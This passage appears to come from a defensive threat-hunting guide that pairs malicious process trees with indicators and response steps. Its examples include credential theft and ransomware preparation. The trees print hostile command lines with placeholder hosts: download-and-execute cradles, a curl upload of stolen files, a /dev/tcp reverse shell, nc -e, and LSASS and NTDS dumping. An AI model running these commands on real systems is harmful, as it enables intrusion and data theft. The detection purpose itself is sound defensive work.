- Get the full command line or script path and the remote IP.
- If the parent is a server app, check its logs for the request that triggered it (treat as a webshell/RCE case).
- Check for persistence and further downloads.
malicious execution windows
<terminal / IDE>
└─ npm.cmd install (or node.exe ...\npm-cli.js install)
└─ cmd.exe /d /s /c node <pkg>/install.js (the "postinstall" script)
└─ node.exe <pkg>/install.js
└─ powershell.exe -w hidden -c "iwr http://<ip>/<file> -OutFile $env:TEMP\<random>.exe; start $env:TEMP\<random>.exe"
└─ curl.exe -s http://<domain>/<path> -o %TEMP%\<random>
Tells
- Which package triggered it: the
cmd /d /s /c line and working directory (node_modules\<pkg>) name the package. Typosquats and freshly published versions are the risk.
- Stays local or reaches out? Legit install scripts compile (node-gyp, cl.exe) or copy files. Downloading an exe, hidden windows, encoded commands or
iex = malicious.
- Who and where: developer workstation is normal for
npm install; a finance laptop or a server running it is not.
- Prevalence and signer: the dropped binary will be unsigned, rare, and in Temp/AppData.
Next
- Read the package’s
package.json scripts (preinstall, install, postinstall) and its version; check whether that version is known-bad or was just published.
- Pull every URL/IP and the dropped file; check what it did next (credential files, browser data, persistence).
- Find other hosts that installed the same package version (lockfile, same command line).
malicious credential access windows
cmd.exe / powershell.exe (admin session on a DC)
├─ vssadmin.exe create shadow /for=C:
│ (VSSVC.exe starts; 4799 enumerates Administrators + Backup Operators)
├─ cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy<n>\Windows\NTDS\ntds.dit C:\<staging>\ntds.dit
└─ ntdsutil.exe "ac i ntds" "ifm" "create full C:\Windows\Temp\<dir>" q q
(ESENT 325/327 within seconds)
Tells
vssadmin create shadow or ntdsutil ... ifm on a DC outside a backup window.ntds.dit or the SYSTEM hive copied to Temp or a share.- 4799 from
VSSVC.exe or ntdsutil.exe just before the copy.
Next
- Find the staged copy and where it went (SMB, archive, upload).
- Plan a full domain credential reset including krbtgt.
- Identify the account and source host of the admin session.
malicious defense evasion windows
<parent: cmd.exe / wscript.exe>
└─ odbcconf.exe /a {REGSVR C:\Users\<user>\AppData\Local\Temp\<random>.dll}
--- or ---
└─ odbcconf.exe -f C:\Users\<user>\AppData\Local\Temp\<random>.rsp
Tells
REGSVR loads any DLL; a .rsp response file can hide the same action.- ODBC driver config from a script host with a DLL in Temp is not admin work.
Next
- Hash the DLL and check signer/prevalence.
- Read the response file if one was used.
malicious initial access windows
WINWORD.EXE
└─ cmd.exe /c powershell -w hidden -enc <base64>
└─ powershell.exe -nop -w hidden -enc <base64>
└─ rundll32.exe C:\Users\Public\<random>.dll,<export>
Tells
- An Office app as the parent of
cmd/powershell/mshta/wscript is almost never legitimate.
-enc, -w hidden, -nop together = someone hiding intent.- A DLL loaded by
rundll32 from C:\Users\Public, %TEMP% or AppData with a random name.
Next
- Decode the
-enc blob (UTF-16LE base64) and pull the URL or IP.
- Look for the dropped DLL: file creation by
powershell.exe just before rundll32 starts.
- Check whether the same document hash or sender reached other hosts.
malicious initial access windows
explorer.exe
└─ WINWORD.EXE / EXCEL.EXE "<Downloads>\<lure>.docm|.xls" (Sysmon 3: Office itself connects to <ip>:<port>)
├─ powershell.exe -w hidden -c <stager> (writes <stager>.ps1)
│ └─ C:\Users\<user>\AppData\Roaming\<random>.exe (beacons to <ip>)
└─ cmd.exe /c certutil -urlcache -split -f "http://<ip>:<port>/svchost.exe" "C:\Windows\Temp\svchost.exe"
<dropped>.exe
└─ cmd.exe (reverse shell, different port on the same <ip>)
Tells
- An Office process making its own outbound connection right after open is the macro calling home.
- Any shell,
certutil or PowerShell child of Word/Excel.
- A system process name (
svchost.exe) landing in C:\Windows\Temp or AppData.
Next
- Check the document Zone.Identifier
HostUrl and whether other users opened the same file.
- Pivot on the C2 IP across all hosts: second-stage payloads often reuse it on another port.
- Look for persistence created within minutes (schtasks, Run keys) by the dropped binary.
malicious initial access windows
ONENOTE.EXE
└─ (embedded file dropped) %TEMP%\OneNote\<ver>\Exported\{<guid>}\NT\0\<file>.hta|.vbs|.cmd|.wsf
└─ mshta.exe / wscript.exe / cmd.exe <that path>
└─ powershell.exe / curl.exe / rundll32.exe
Tells
ONENOTE.EXE as the parent of any script host or shell. Users “double-click to view document” on an embedded file.- The
\OneNote\<ver>\Exported\ temp path in the child command line.
Next
- Get the
.one file origin (mail) and the embedded file.
- Follow the children to the payload; hunt the attachment across mailboxes.
malicious credential access macos
<launcher: unsigned app from a mounted DMG / bash from Terminal paste>
└─ osascript -e 'display dialog "macOS needs your password to continue" default answer "" with hidden answer'
└─ dscl . authonly <user> <password> (checks the typed password)
└─ osascript -e 'tell application "Finder" to ...' (collects Desktop/Documents files)
└─ ditto -c -k ... /tmp/<random>.zip ; curl -X POST -F file=@/tmp/<random>.zip http://<ip>/<path>
Tells
osascript with display dialog and hidden answer = password phishing (AMOS, Cuckoo and similar stealers).dscl . authonly, keychain file access (login.keychain-db), browser and wallet folder reads, then a zip and a POST.- Source is usually a cracked app or fake installer DMG, or a Terminal paste lure.
Next
- Treat the user’s password, keychain, browser sessions and wallets as compromised.
- Find the DMG/app origin and hash; check the exfil destination.
malicious initial access windows
OUTLOOK.EXE
└─ wscript.exe "...\Content.Outlook\<random>\<lure>.js"
└─ cmd.exe / powershell.exe <command>
Tells
- Outlook spawning
wscript, cscript, mshta, cmd, powershell directly = user opened a script attachment, or an Outlook rule/form/home page abuse.
- Path inside
Content.Outlook (the attachment cache).
- Persistent version: Outlook rules or forms launching apps (no attachment, recurring).
Next
- Find the email and other recipients; purge.
- Check Outlook rules and forms if no attachment matches.
malicious initial access windows
powershell.exe (user terminal)
└─ powershell.exe -ExecutionPolicy Bypass -EncodedCommand <base64>
└─ %TEMP%\<n>.exe (file set hidden, run without a window)
└─ (injects) notepad.exe → enumerates groups (4799)
Tells
- A developer running a script from a gist/paste “to check their environment”.
-EncodedCommand that decodes to a download to %TEMP% plus -WindowStyle Hidden.- Real-looking output to the user while it runs.
Next
- Decode the command and list every URL, including earlier test endpoints in the gist history.
- Check PSReadLine history for what the user actually pasted.
- Look for privilege escalation set up afterwards (service DLL swaps).
malicious initial access windows
AcroRd32.exe / Acrobat.exe / FoxitPDFReader.exe / msedge.exe (PDF viewer)
└─ cmd.exe / powershell.exe / <random>.exe
Tells
- A PDF reader’s normal children are its own helpers (
AcroCEF.exe, RdrCEF.exe, AdobeARM.exe, FullTrustNotifier). A shell is exploitation or a user clicking “open” on an embedded file.
- Browser as PDF viewer: watch for the browser spawning
cmd instead.
Next
- Get the PDF origin and hash; check the reader version for known exploits.
- Follow the child to the payload.
malicious execution windows
<terminal / IDE>
└─ python.exe -m pip install <package>
└─ python.exe <temp>\pip-install-<random>\<package>\setup.py egg_info (or a PEP 517 build backend)
└─ powershell.exe -w hidden -c "<download cradle>"
└─ cmd.exe /c curl http://<ip>/<file> -o %TEMP%\<random>.exe && %TEMP%\<random>.exe
Tells
- Which package: the
pip-install-<random>\<package> folder in the command line names it. Typosquats (reqeusts, python-dateutils) are the classic case.
- Stays local or not?
setup.py should only build (compilers, cmake). Shells, downloads, base64 or exec in it = malicious.
- Context: a dev or data science box running pip is normal; a server or a non-technical user is not.
Next
- Get the package name and version; check its publish date and whether it is a typosquat.
- Pull URLs and dropped files; check for credential file reads and persistence.
- Find other hosts that installed it (same command line, requirements files).
malicious exfil windows
<loader>.exe
├─ powershell.exe -c Compress-Archive -Path <staging> -DestinationPath <dir>\<name>.zip
└─ powershell.exe -c "$b=[Convert]::ToBase64String([IO.File]::ReadAllBytes('<zip>')); Invoke-WebRequest -Method POST -Uri http://<ip>/<path> -Body $b"
Tells
ToBase64String + ReadAllBytes + POST in one command line.- Archive creation in a staging folder right before.
- Destination is the same IP as the loader C2.
Next
- Find the staging folder and list what was zipped.
- Size the POSTs in proxy logs.
- Hunt
ToBase64String in PowerShell command lines fleet-wide.
malicious c2 windows
explorer.exe
└─ powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://<ip>:80/<path>'))"
└─ rundll32.exe (no arguments: spawnto process)
└─ (injects) vmtoolsd.exe | explorer.exe | dwm.exe | spoolsv.exe
explorer.exe (injected)
└─ cmd.exe /c chcp 437 ... (beacon task output encoding)
Tells
-nop -w hidden -c IEX ... downloadstring with a raw IP: Cobalt Strike scripted web delivery.rundll32.exe with an empty command line that holds network connections.- Named pipes like
\\MSSE-<n>-server or \\postex_<hex> (Sysmon 17/18).
explorer.exe or spoolsv.exe suddenly spawning cmd.exe /c children.
Next
- Dump the beacon config (1768.py / CobaltStrikeParser) from memory or the staged payload.
- Check lsass access (Sysmon 10, GrantedAccess 0x1010) from the injected process.
- Contain fast: these beacons typically lead to PsExec and ransomware within hours.
malicious execution windows
<parent: cmd.exe / powershell.exe / wscript.exe / cron / sshd>
└─ python.exe -c "import base64,zlib;exec(zlib.decompress(base64.b64decode('<base64>')))"
--- or ---
└─ python3 -c "import urllib.request;exec(urllib.request.urlopen('http://<ip>/<path>').read())"
└─ (network) <ip>:<port>
Tells
exec/eval of decoded or downloaded data = in-memory loader. Real one-liners print things or run modules (-m), they do not exec blobs.- Parent is a script host, cron, a webshell or an SSH session, not an IDE.
- Long-lived outbound connection from python with an odd port.
Next
- Decode the blob (base64, then zlib/marshal if present).
- Pull the IP/URL and check for persistence (Run keys, cron, systemd).
- Judge the user: who runs Python on this host normally?
malicious execution linux
bash
└─ python3 (interpreter start auto-imports a malicious .pth)
└─ python3 -c "import base64; exec(base64.b64decode('<base64>'))" (×1000+)
└─ curl -X POST https://<domain>/ ... (exfil of collected secrets)
systemd --user
└─ python3 ~/.config/<name>/<name>.py (unit named after a monitoring tool)
Tells
- Hundreds of identical
python3 -c exec(base64...) children in seconds (and a frozen host).
- A
.pth file in site-packages that contains code, not paths.
- A new user systemd unit under
~/.config/systemd/user/ named like a security tool.
Next
- Find the
.pth and the package that shipped it; remove both.
- Disable the user unit and check for Kubernetes lateral movement (privileged pods).
- Treat all keys and tokens on the host as stolen.
malicious exfil windows
powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File <dir>\<name>.ps1
└─ C:\Windows\System32\<rc>.exe copy <source> <remote>:<bucket> --include-from include.txt --config <conf>
Tells
- rclone flags (
copy, --config, --include-from, --transfers) on any binary name.
- rclone placed in System32 or a share under a short system-like name.
- Large outbound to Backblaze/MEGA/S3-compatible endpoints.
Next
- Recover
rclone.conf (often resident in the MFT) for the destination and keys.
- Measure what left: include list, file counts, proxy bytes.
- Report the bucket to the provider.
malicious credential access windows
<elevated shell>
├─ reg.exe save HKLM\SAM C:\Users\<user>\<dir>\<looks-like-a-log>.LOG1
└─ reg.exe save HKLM\SYSTEM C:\Users\<user>\<dir>\<looks-like-a-log>.LOG2
Tells
reg save HKLM\SAM or HKLM\SECURITY from anything but a backup product.- Output names chosen to look like registry transaction logs.
- Output in a user profile rather than a backup location.
Next
- Recover the hive copies and check whether they were exfiltrated.
- Reset local admin passwords (LAPS) on that host and anywhere it is reused.
- Check how the user got SeBackupPrivilege or admin.
malicious defense evasion windows
<parent: cmd.exe / powershell.exe / wscript.exe>
└─ C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /U C:\Users\<user>\AppData\Roaming\<random>.dll
--- or ---
└─ RegSvcs.exe C:\Users\<user>\AppData\Local\Temp\<random>.dll
└─ (network) <ip>:<port>
Tells
- Assembly from a user path; legit COM registration targets
Program Files.
RegAsm/RegSvcs holding a long-lived outbound connection = injected RAT (very common for commodity stealers and RATs).- Sometimes RegAsm runs with no arguments at all: a hollowed process.
Next
- Check memory/injection events targeting RegAsm/RegSvcs and the process that created it.
- Hash the assembly and pull the C2 address.
malicious defense evasion windows
powershell.exe (fileless loader)
└─ C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe (hollowed, beacons)
cmd.exe
└─ WScript.exe "C:\Windows\Temp\<random>.vbs"
└─ powershell.exe -ExecutionPolicy Bypass
└─ wscript.exe //B //NOLOGO "<AppData\Local\Temp>\<random>"
└─ C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe (hollowed browser stealer)
Tells
- .NET framework tools (
RegSvcs, RegAsm, vbc, AppLaunch, InstallUtil) with a script-host parent.
- These binaries making outbound connections or writing browser data to Temp.
- No command-line arguments on a tool that normally needs them.
Next
- Dump the process memory to recover the injected payload.
- Check the staging folder in Temp for collected browser data.
- Find the VBS/PowerShell that launched it and its delivery.
malicious lolbin windows
<parent: cmd.exe / wscript.exe / WINWORD.EXE>
└─ regsvr32.exe /s /n /u /i:http://<ip>/<file>.sct scrobj.dll
└─ powershell.exe / cmd.exe / <random>.exe
Tells
/i:<url> together with scrobj.dll fetches and runs a COM scriptlet (.sct). No legit use./s /n /u is the standard silent, no-DllRegisterServer form.regsvr32 making an outbound HTTP connection is a tell on its own.
Next
- Grab the URL and any network data; hunt it fleetwide.
- Check children of regsvr32 for the stage-two payload.
- Walk up to the parent to find the delivery vector.
malicious execution windows
explorer.exe
└─ <Downloads>\<cracked software>.exe
└─ cmd.exe /c ... copy AutoIt3.exe <Word>.com
└─ <Word>.com <letter> (AutoIt script)
wscript.exe \\<ip>\<share>\<name>.vbs
└─ powershell.exe Invoke-WebRequest http://<ip>/... -OutFile ...
└─ AutoHotkey.exe <name>.ahk
Tells
- A
.com file that is really AutoIt3.exe (OriginalFileName).
AutoHotkey.exe or AutoIt in a user folder next to a fresh script file.- Script host launched from a network share.
Next
- Extract the script (autoit-ripper for compiled AutoIt) and read the payload stage.
- Find the cracked-software download or the share path.
- Check for injection into a legit process from the interpreter.
malicious execution windows
<beacon>
└─ cmd.exe /C .\<renamed>.exe --collectionmethods All --outputdirectory C:\Users\<user>\<dir> --zipfilename <name>
<beacon>
└─ C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Themes\hh.exe -c All --outputdirectory %TEMP% --zippassword "<pw>"
<beacon>
└─ cmd.exe /c <dir>\<name>.bat
└─ AdFind.exe -f "(objectCategory=person)" name mail title
Tells
-c All / --collectionmethods All / --zipfilename / --zippassword give SharpHound away whatever it is called.OriginalFileName in Sysmon 1 still says SharpHound.exe after a rename.- LDAP-heavy burst from a workstation that normally does none.
Next
- Find and delete the output zip before it leaves; check for exfil of it.
- Hunt
OriginalFileName for SharpHound, AdFind, Certify across the estate.
- Expect ADCS abuse next if
certutil -v -template or Certify shows up.
malicious credential access windows
<parent: cmd.exe / powershell.exe / wmiprvse.exe / services.exe>
└─ rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <lsass_pid> C:\Windows\Temp\<random>.dmp full
Tells
comsvcs.dll + MiniDump + a PID + full = LSASS memory dump. There is no benign version of this.- Often obfuscated:
#24 instead of MiniDump, renamed copies of comsvcs, odd casing.
- Needs admin/SYSTEM, so the account is already compromised.
Next
- ESCALATE now: treat all credentials on that host as stolen.
- Find the
.dmp file and whether it was copied off the host (SMB, archive, upload).
- Trace how the attacker got admin and where else that account logged in.
malicious lolbin windows
<parent: cmd.exe / Run key / scheduled task>
└─ rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:http://<ip>/<file>")
--- or ---
└─ rundll32.exe url.dll,OpenURL C:\Users\<user>\AppData\Local\Temp\<file>.hta
└─ rundll32.exe url.dll,FileProtocolHandler <path-or-url>
└─ mshta.exe / <random>.exe
Tells
javascript: and mshtml,RunHTMLApplication in a rundll32 line = Poweliks-style fileless execution.url.dll,OpenURL / FileProtocolHandler launching an .hta, .exe or remote URL hides the real program behind rundll32.- Benign
url.dll use opens an http page in the browser, with the browser as the child.
Next
- Identify the actual child and its command line.
- Check registry Run keys and tasks for the same string (persistence).
- Hunt the URL or script host fleetwide.
malicious lolbin windows
<cmd.exe | powershell.exe | wscript.exe | Run key | scheduled task>
└─ rundll32.exe C:\Users\<user>\(Music|AppData\Roaming|AppData\Local\Temp)\<random>.dll,<export>
exports seen: Start, StartW, PrintUIEntry, entry, N115
rundll32.exe C:\Users\<user>\AppData\Local\Temp\<name>.db,<export> (renamed payload extension)
Tells
- Real rundll32 work loads DLLs from System32 with known exports; user profile paths are the tell.
- Export names borrowed from Windows DLLs (
PrintUIEntry) on a non-Windows DLL.
- Non-DLL extensions (
.db, .dat, .png) passed to rundll32.
Next
- Hash the DLL and check signer; look at its network connections and injection (Sysmon 8).
- Find what registered it: Run key value, scheduled task, or the parent script.
- Hunt the same DLL path pattern across hosts.
malicious persistence windows
<parent: cmd.exe / powershell.exe>
└─ sc.exe \\<host> create <random> binPath= "cmd.exe /c <command>" start= auto
└─ sc.exe start <random>
(on target)
services.exe
└─ cmd.exe /c <command>
Tells
binPath is a shell, script host, powershell -enc, or a binary in a user path.- Random or impersonating service names; created and started then deleted quickly (PsExec/Impacket-style).
\\<host> = remote service creation (lateral movement).
Next
- Check event 7045 (service install) on the target for the full binPath.
- Find the account and source host that created it.
- Look for the same service name on other hosts.
malicious persistence windows
svchost.exe -k netsvcs -p -s Schedule
└─ wscript.exe "<AppData\Roaming>\<helper-name>\<name>.vbs"
└─ <AppData\Roaming>\<helper-name>\pythonw.exe <name>.pyw (PyArmor-obfuscated stealer)
Tells
- A full portable Python install in AppData with a helper-sounding folder name.
pythonw.exe (no console) launched by wscript.exe on a short repeating trigger.- Task created within a couple of minutes of an LNK being opened.
Next
- Remove the task and the folder; check C2 polling endpoints in proxy logs.
- Treat browser data and files uploaded via the task loop as exfiltrated.
- Find the delivering LNK/archive.
malicious persistence windows
powershell.exe (stager)
└─ schtasks.exe /create /F /sc minute /mo 1 /tn "<browser-update-like>" /tr "<AppData\Roaming>\<name>.exe --donate-level 1 -o <pool>:<port> -u <wallet>"
svchost.exe -k netsvcs -p -s Schedule
└─ <AppData\Roaming>\<name>.exe --donate-level 1 -o <pool>:<port> ...
Tells
--donate-level, -o <pool>, -u <wallet> are XMRig flags whatever the binary name.- Two copies (AppData and Temp) each with its own task.
- High CPU plus a 1-minute trigger.
Next
- Remove both tasks and both copies.
- Block the pool domains/IPs; check proxy logs for other miners.
- Find how the stager arrived; miners often ride on a broader compromise.
malicious persistence windows
cmd.exe | powershell.exe | WmiPrvSE.exe → cmd.exe
└─ schtasks.exe /create /tn "<legit-sounding name>" /sc onlogon|onstart|hourly|minute /mo <n> [/ru SYSTEM /rl HIGHEST] /tr "<action>"
actions seen: C:\Windows\Temp\svchost.exe
C:\Users\Public\<file>.exe
rundll32.exe C:\Users\Public\Music\<random>.dll,Start
powershell -w hidden -ep bypass -File C:\Users\<user>\AppData\Local\<name>.ps1
C:\Windows\system32\<name>.exe (task name with .sys or .exe suffix)
svchost.exe -k netsvcs -p -s Schedule
└─ <task action>
Tells
- Task action in Temp, Public, AppData or ProgramData.
- Names borrowing vendor products (“Updater”, “SystemUpdate”) or odd suffixes like
.sys/.exe.
- Created within minutes of the first execution on the host.
Next
schtasks /query /tn <name> /v /fo list and check the XML in C:\Windows\System32\Tasks.- Remove the task and the payload together; check for a second task as backup.
- Hunt the same task name across hosts (4698).
malicious execution windows
explorer.exe
└─ wscript.exe "<Temp>\<zip>\<lure>.js"
├─ net.exe use \\<host>@80\<share>
├─ msiexec.exe /i \\<host>@80\<share>\<name>.msi /qn (or http://<domain>/<name>.msi)
└─ (copies) C:\Windows\System32\curl.exe → %TEMP%\<random>.exe
services.exe
└─ msiexec.exe /V
└─ MsiExec.exe -Embedding <hex> → loads loader DLL (Matanbuchus) → drops stealer EXE
Tells
wscript/cscript spawning net use or msiexec is short and high-signal.msiexec /i pointing at a UNC path with @80 (WebDAV) or an internet URL.- A copy of a signed system binary (
curl.exe) renamed into %TEMP%.
Next
- Get the MSI from the share/URL and list its custom actions and embedded CAB.
- Look for the DLL the MSI drops and the follow-on stealer (Danabot-style).
- Hunt the same .js name and WebDAV host across the fleet.
malicious persistence linux
splunkd (service user)
└─ sh -c <payload from an uploaded .xsl>
├─ adduser <name>
├─ chpasswd
├─ usermod -aG sudo <name>
└─ (writes) /home/<name>/.ssh/authorized_keys
sshd
└─ Accepted publickey for <name> from <ip> (seconds later)
Tells
useradd/adduser/chpasswd with a service account as the parent.- A sudo-group change and
authorized_keys write in the same burst.
- A new user named like a service (
nginx, <app>-io).
Next
- Remove the user and key; kill its sessions.
- Find the upload/RCE that ran the payload and patch it.
- Check sudo logs for what the new account did.
malicious execution windows
<nsis installer>.exe
└─ <AppData\Local\Programs>\<update-tool>\<app>.exe (Electron; obfuscated app.asar)
└─ %USERPROFILE%\Documents\cmd.exe ...
Tells
cmd.exe running from anywhere but System32/SysWOW64.- An Electron app from an NSIS installer posing as a Windows update tool.
- The binary was written by the Electron process just before running.
Next
- Extract
app.asar and read app.js for the C2.
- Check what the replacement cmd.exe actually is (hash, signer).
- Look for persistence (Run key, Startup shortcut) for the Electron app.
malicious defense evasion windows
spoolsv.exe
├─ WerFault.exe (spooler crashing after a remote driver DLL load: PrintNightmare)
└─ cmd.exe /c vssadmin delete shadows /all /quiet (beacon injected into spoolsv)
Tells
- The print spooler crashing, or spawning shells, at all.
- New DLLs under
C:\Windows\System32\spool\drivers\x64\3\.
- SYSTEM-context commands with spoolsv as parent.
Next
- Check spool driver folder for new DLLs and the SMB source they came from.
- Disable the spooler on servers that do not print.
- Treat as SYSTEM compromise of that host.
malicious execution windows
sqlservr.exe
└─ cmd.exe /c whoami
└─ cmd.exe /c powershell -c "iwr http://<ip>/<file> -OutFile C:\Users\Public\<random>.exe"
└─ <random>.exe
Tells
xp_cmdshell runs cmd.exe as a child of sqlservr.exe. Recon, downloads or encoded PowerShell = attacker with SQL sysadmin.- Often after brute-forced
sa or an SQL injection in an app using a high-privileged login.
- Some legacy jobs do use xp_cmdshell (file copies, bcp): check for a known, repeating pattern.
Next
- Check SQL logins (failed then successful
sa) and the source IP.
- See whether xp_cmdshell was just enabled (
sp_configure in SQL logs).
- Follow the child payload.
malicious persistence linux
sshd: <user> [priv]
└─ bash
├─ sudo cat /etc/shadow
└─ sudo /usr/bin/curl https://raw.githubusercontent.com/<repo>/linper.sh
telnetd / login
└─ sh
└─ wget https://raw.githubusercontent.com/<repo>/linper.sh
Tells
- Successful login right after a dense burst of failed passwords from the same IP.
- First commands read
/etc/shadow and fetch tooling from GitHub.
- New local user created in the same session.
Next
- Map every persistence location the toolkit writes (cron, systemd, rc files, keys).
- Block the source IP; check other hosts for logins from it.
- Kill sessions, then rotate the compromised account.
malicious execution linux
sshd: <user> [priv]
└─ sshd: <user>@notty
└─ bash -c "echo <base64> | base64 -d | sh"
└─ sh
└─ curl / wget http://<ip>/<file> -O /tmp/<random>; chmod +x /tmp/<random>; /tmp/<random>
Tells
notty sessions running one-shot commands = automated access (bots, stolen keys, brute-forced passwords).base64 -d | sh, chmod +x in /tmp or /dev/shm, history -c, killing other miners.- Typical of SSH-brute botnets and miners.
Next
- Check auth logs: source IP, auth method (password or key), prior failed attempts.
- Decode the blob and pull the downloaded binary.
- Look for persistence:
~/.ssh/authorized_keys, cron, systemd units.
malicious defense evasion windows
<stealer>.exe
└─ cmd.exe /c timeout /t 5 & del /f /q "<path>\<stealer>.exe" & exit
Tells
timeout followed by del of the parent image path.- Happens right after a burst of browser DB reads and an HTTP POST.
Next
- The binary is gone: recover it from the dropping process, browser cache or EDR quarantine.
- Assume browser credentials, cookies and wallets were stolen; reset and revoke sessions.
malicious defense evasion windows
explorer.exe
└─ C:\Users\<user>\Downloads\svchost.exe (real one: System32, parent services.exe)
└─ cmd.exe (operator shell)
lookalikes seen: csrsss.exe, lssass.exe (%TEMP%), swchost.exe, WmiPrvSE.exe (AppData\Roaming),
GoogleUpdate.exe run by a normal user, ChromeSetup.exe still running from Downloads
Tells
- Name is right, path or parent is wrong:
svchost.exe must be in System32 under services.exe.
- One-letter-off names (
csrsss, lssass, swchost, svch0st).
- An “installer” that keeps running and holds network connections.
Next
- Compare image path, parent and signer before anything else.
- Check the child processes: a
cmd.exe child is an interactive shell.
- Pull the binary from disk or memory and check first-seen on VirusTotal.
malicious persistence linux
systemd (PID 1)
└─ /bin/bash <path>/<script>.sh (unit: systemd-network<x>.service / sysperf.service, User=root)
└─ bash -i >& /dev/tcp/<ip>/<port> 0>&1 (loop)
systemd --user
└─ python3 ~/.config/<name>/<name>.py (unit named after a monitoring tool, Restart=always)
Tells
- Unit names one letter off real ones (
systemd-networkm vs systemd-networkd).
- Units that no package owns, especially under
~/.config/systemd/user/.
- A root process under PID 1 holding an outbound socket.
Next
systemctl cat <unit> and dpkg -S/rpm -qf the ExecStart path.- Check the other autostarts too: cron,
.bashrc, .profile, XDG autostart, kernel modules.
- Kill the loop process after disabling the unit or it respawns.
malicious persistence windows
<unknown>.exe (elevated) | cmd.exe
├─ net.exe user <name> <password> /add
│ └─ net1.exe user <name> <password> /add
└─ net.exe localgroup administrators <name> /add
Tells
net user /add from anything other than an admin tool or deployment.- Account names like
testuser, support, or a service-looking name.
- 4720 may be missing; 4688 command line still shows it.
Next
- Disable the account and check 4624 for its use.
- Find the binary that created it and what else it did (Run keys, tasks).
- Check the account was not hidden (SpecialAccounts\UserList).
malicious execution windows
<loader>.exe | injected cmd.exe | rundll32.exe
├─ cmd.exe /C whoami /all
├─ cmd.exe /C net group "Domain Admins" /domain
├─ cmd.exe /C nltest /dclist:<domain>
├─ cmd.exe /C nltest /domain_trusts
├─ cmd.exe /C systeminfo
└─ cmd.exe /C ipconfig /all
Sliver shell variant:
cmd.exe (implant)
└─ powershell.exe -NoExit -Command [Console]::OutputEncoding=[Text.UTF8Encoding]::UTF8
├─ nltest.exe /domain_trusts
├─ net.exe group "Domain Admins"
└─ cmdkey.exe /list
Tells
- Five or more recon commands from one parent within a minute or two.
- Parent is not a management agent: random EXE, rundll32, notepad, a renamed tool.
powershell -NoExit -Command [Console]::OutputEncoding=...UTF8 is the Sliver interactive shell.
Next
- Walk up to the root of the parent chain to find the initial payload.
- Expect AD collection next (SharpHound/AdFind); check for it.
- Check where else the same parent hash ran.
malicious execution windows
Code.exe
└─ python.exe <...>\jedi-language-server (language server)
└─ powershell.exe -NoProfile -WindowStyle Hidden -Command "IEX ((new-object net.webclient).downloadstring('http://<ip>:80/<path>/'))"
Code.exe (extension host)
└─ cmd.exe (stdin/stdout piped to a TCP socket to <ip>:<port>)
Tells
- A hidden PowerShell with
IEX ... downloadstring under the editor tree.
cmd.exe child of Code.exe with an outbound connection and no terminal tab open.- Recently installed extension or poisoned package in the workspace (
installedTimestamp in package.json).
Next
- Identify the extension or Python package that ran it (extension folder, venv site-packages).
- Check follow-on persistence: Run keys with rundll32, new scheduled tasks.
- Benign-check against the VS Code noise tree: local scripts, no URL, visible terminal.
malicious defense evasion windows
spoolsv.exe (injected beacon) | powershell.exe | ransomware.exe
├─ cmd.exe /c vssadmin delete shadows /all /quiet
├─ vssadmin.exe delete shadows /for=C: /quiet
├─ cmd.exe /c wevtutil cl Security
├─ cmd.exe /c wevtutil cl System
└─ cmd.exe /c wevtutil cl Application
WmiPrvSE.exe
└─ wevtutil.exe / Win32_NTEventlogFile.ClearEventLog()
later:
<beacon>
└─ C:\Windows\Temp\<ransom>.exe (on many hosts at once)
Tells
vssadmin delete shadows from anything but backup software: minutes before encryption.- Log clearing (1102/104) clustered with it.
- The same commands on several hosts within seconds = remote execution through existing beacons.
Next
- Isolate now; this is the last window before encryption.
- Find the parent beacon and the account it runs as; disable that account domain-wide.
- Protect backups (Veeam etc.) whose credentials may already be taken.
malicious c2 windows
<parent: cmd.exe / powershell.exe / scheduled task>
└─ ssh.exe -N -R <port>:127.0.0.1:3389 <user>@<ip> -p 443 -o StrictHostKeyChecking=no
Tells
-R exposes a local port (RDP 3389, SMB 445, SOCKS) on an outside host: a way in that bypasses the firewall.-N (no shell), StrictHostKeyChecking=no, odd ports like 443/22 to a raw IP, launched by a task.- Admins using OpenSSH client usually connect out to known servers with
-L or plain login, from an interactive shell.
Next
- Pull the destination IP, the account and any private key path (
-i).
- Check for inbound RDP/SMB sessions to localhost afterwards.
- Check for persistence keeping the tunnel up.
malicious initial access windows
w3wp.exe -ap "<AppPool>"
└─ <uploaded>.exe (via an .aspx web shell; reverse shell to <ip>:<port>)
later copied to C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\<name>.exe
httpd.exe / php-cgi.exe
└─ powershell.exe <reverse shell to <ip>:<port>>
├─ powershell iwr https://github.com/<repo>/GodPotato-NET4.exe -OutFile <name>.exe
└─ <renamed>.exe -cmd "<renamed nc>.exe <ip> <port> -e cmd"
Tells
- A web server worker with any process child is the alert.
- A packed (UPX/high entropy) EXE written by the worker into the web root or Startup folder.
- Potato-style privesc tooling pulled right after.
Next
- Find the web shell file in the web root and the request that hit it (IIS/Apache logs).
- Check how it was uploaded (SMB write, vulnerable upload endpoint).
- Remove the Startup persistence and rotate the app pool identity.
malicious persistence windows
winlogon.exe (logon screen)
└─ cmd.exe C:\Windows\system32\utilman.exe (IFEO utilman.exe\Debugger = cmd.exe → SYSTEM shell)
winlogon.exe
└─ sethc.exe (replaced binary)
winlogon.exe
└─ C:\Windows\Temp\<name>.exe /s (HKCU\Control Panel\Desktop\SCRNSAVE.EXE)
Tells
winlogon.exe should start userinit, LogonUI, fontdrvhost, dwm: not cmd.exe.- IFEO
Debugger value on utilman/sethc/osk/narrator.
- Screensaver path outside System32 (
.exe in Temp).
Next
- Check IFEO keys and the hash of sethc/utilman against known good.
- Read
SCRNSAVE.EXE for every user hive.
- Find how the key was written (reg.exe parent, remote registry).
malicious lolbin windows
<parent: cmd.exe / wscript.exe>
└─ wmic.exe os get /format:"http://<ip>/<file>.xsl"
└─ powershell.exe / cmd.exe / <random>.exe
Tells
/format: pointing at a URL or a .xsl in a user path loads XSL with embedded script. No legit use.wmic making an outbound HTTP connection.- The
get query before it (os get, process list) is just filler.
Next
- Pull the XSL URL or file and the child process line.
- Hunt the URL/domain and the same command line fleetwide.
